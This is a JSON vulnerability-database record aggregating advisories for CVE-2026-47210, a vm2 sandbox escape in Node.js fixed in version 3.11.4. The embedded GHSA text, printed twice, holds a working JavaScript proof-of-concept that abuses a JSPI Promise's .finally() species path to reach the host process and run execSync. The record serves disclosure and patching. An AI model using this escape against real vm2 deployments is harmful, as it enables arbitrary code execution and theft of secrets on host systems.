{"id":"CVE-2026-47210","aliases":["CLSA-2026-1787860907","EUVD-2026-36448","GHSA-2cm2-m3w5-gp2f","GHSA-6j2x-vhqr-qr7q","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-47210"],"status":"published","title":"vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, a sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary. This issue has been patched in version 3.11.4.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.01716,"percentile":0.77621,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-913"],"published":"2026-05-29T17:51:05Z","modified":"2026-10-28T02:30:54Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.4"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.11.3-aikido.2","3.9.17-aikido.13","3.11.3-aikido.3","3.9.17-aikido.7","3.9.17-aikido.8","3.9.17-aikido.9","3.9.17-aikido.10","3.9.7-aikido.4","3.9.7-aikido.5","3.9.7-aikido.6"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.9.17-root.io.11","3.9.17-root.io.12","3.11.3-root.io.2","3.9.17-root.io.13","3.11.3-root.io.3","3.9.17-root.io.7","3.9.17-root.io.8","3.9.17-root.io.9","3.9.17-root.io.10","3.9.7-root.io.4","3.9.7-root.io.5","3.9.7-root.io.6"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.11.3"},{"fixed":"3.11.4"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.4"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.11.3-aikido.2"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.11.3-aikido.3"},{"fixed":"3.9.17-aikido.7"},{"fixed":"3.9.17-aikido.8"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.9.7-aikido.4"},{"fixed":"3.9.7-aikido.5"},{"fixed":"3.9.7-aikido.6"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.11.3-root.io.2"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.11.3-root.io.3"},{"fixed":"3.9.17-root.io.7"},{"fixed":"3.9.17-root.io.8"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.9.7-root.io.4"},{"fixed":"3.9.7-root.io.5"},{"fixed":"3.9.7-root.io.6"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-6j2x-vhqr-qr7q","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/patriksimek/vm2/commit/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.4","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47210","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6j2x-vhqr-qr7q"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47210.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-47210","title":"vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, a sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T14:17:22.653Z","modified":"2026-06-13T03:56:00.069Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T13:36:51.6229Z"}],"euvd":[{"id":"EUVD-2026-36448","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, a sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T14:17:22Z","modified":"2026-06-13T03:56:00Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:20:42.85316Z"}],"ghsa":[{"id":"GHSA-6j2x-vhqr-qr7q","title":"vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass","description":"### Summary\nA sandbox escape vulnerability in `vm2` allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (`WebAssembly.promising` / `WebAssembly.Suspending`). In the tested configuration, a JSPI-backed Promise can reach `Promise.prototype.finally()` in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.\n\nThis is a critical sandbox escape: any application that treats `vm2` as a security boundary may be fully compromised.\n\n### Details\n\nOn node26, JSPI-backed Promises created through `WebAssembly.promising(...)` do not behave like ordinary sandbox Promises.\n\nThat path yields a host-originated `TypeError` during JSPI processing. Inside attacker-controlled species logic reached through `.finally()`, the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host `process`, which leads to arbitrary code execution in the host process.\n\nThis behavior is specific to the JSPI / `.finally()` interaction. In contrast, the corresponding `then` / `catch` paths still appeared to route through `vm2`'s expected `localPromise` machinery in my testing.\n\n### PoC\nEnvironment: node:26-bookworm\n```javascript\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\n(()=\u003e{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=\u003eWebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=\u003e{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=\u003e{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=\u003e{\n    let P=e.constructor.constructor('return process')()\n    P.mainModule.require('child_process').execSync('touch pwned');\n    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=\u003e{})});return 1})()\n`));\n```\n\n### Impact\nThis is a **sandbox escape leading to arbitrary code execution in the host process**.\n\nWho is impacted:\n\n- any application using `vm2` to execute attacker-controlled JavaScript as a security boundary\n- especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)\n\nPractical impact:\n\n- arbitrary command execution in the host process\n- arbitrary file read / write accessible to the host process\n- theft of secrets, tokens, credentials, and application data\n- complete compromise of services relying on `vm2` isolation","status":"published","published":"2026-05-29T17:51:05Z","modified":"2026-06-12T20:55:09Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T14:40:27.329706Z"}],"nvd":[{"id":"CVE-2026-47210","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, a sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T15:16:29.03Z","modified":"2026-10-26T11:10:00.157Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T14:12:23.846948Z"}],"osv":[{"id":"CVE-2026-47210","title":"vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, a sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T14:17:22.653Z","modified":"2026-10-28T02:30:54.233570907Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T15:45:06.231145Z"},{"id":"GHSA-6j2x-vhqr-qr7q","title":"vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass","description":"### Summary\nA sandbox escape vulnerability in `vm2` allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (`WebAssembly.promising` / `WebAssembly.Suspending`). In the tested configuration, a JSPI-backed Promise can reach `Promise.prototype.finally()` in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.\n\nThis is a critical sandbox escape: any application that treats `vm2` as a security boundary may be fully compromised.\n\n### Details\n\nOn node26, JSPI-backed Promises created through `WebAssembly.promising(...)` do not behave like ordinary sandbox Promises.\n\nThat path yields a host-originated `TypeError` during JSPI processing. Inside attacker-controlled species logic reached through `.finally()`, the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host `process`, which leads to arbitrary code execution in the host process.\n\nThis behavior is specific to the JSPI / `.finally()` interaction. In contrast, the corresponding `then` / `catch` paths still appeared to route through `vm2`'s expected `localPromise` machinery in my testing.\n\n### PoC\nEnvironment: node:26-bookworm\n```javascript\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\n(()=\u003e{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=\u003eWebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=\u003e{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=\u003e{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=\u003e{\n    let P=e.constructor.constructor('return process')()\n    P.mainModule.require('child_process').execSync('touch pwned');\n    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=\u003e{})});return 1})()\n`));\n```\n\n### Impact\nThis is a **sandbox escape leading to arbitrary code execution in the host process**.\n\nWho is impacted:\n\n- any application using `vm2` to execute attacker-controlled JavaScript as a security boundary\n- especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)\n\nPractical impact:\n\n- arbitrary command execution in the host process\n- arbitrary file read / write accessible to the host process\n- theft of secrets, tokens, credentials, and application data\n- complete compromise of services relying on `vm2` isolation","status":"published","published":"2026-05-29T17:51:05Z","modified":"2026-06-12T21:00:09.209121556Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T15:46:39.965326Z"},{"id":"ROOT-APP-NPM-CVE-2026-47210","title":"CVE-2026-47210 in vm2 - Patched by Root","description":"Root has patched CVE-2026-47210 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-09-30T06:02:29Z","modified":"2026-09-30T07:15:05.278280064Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}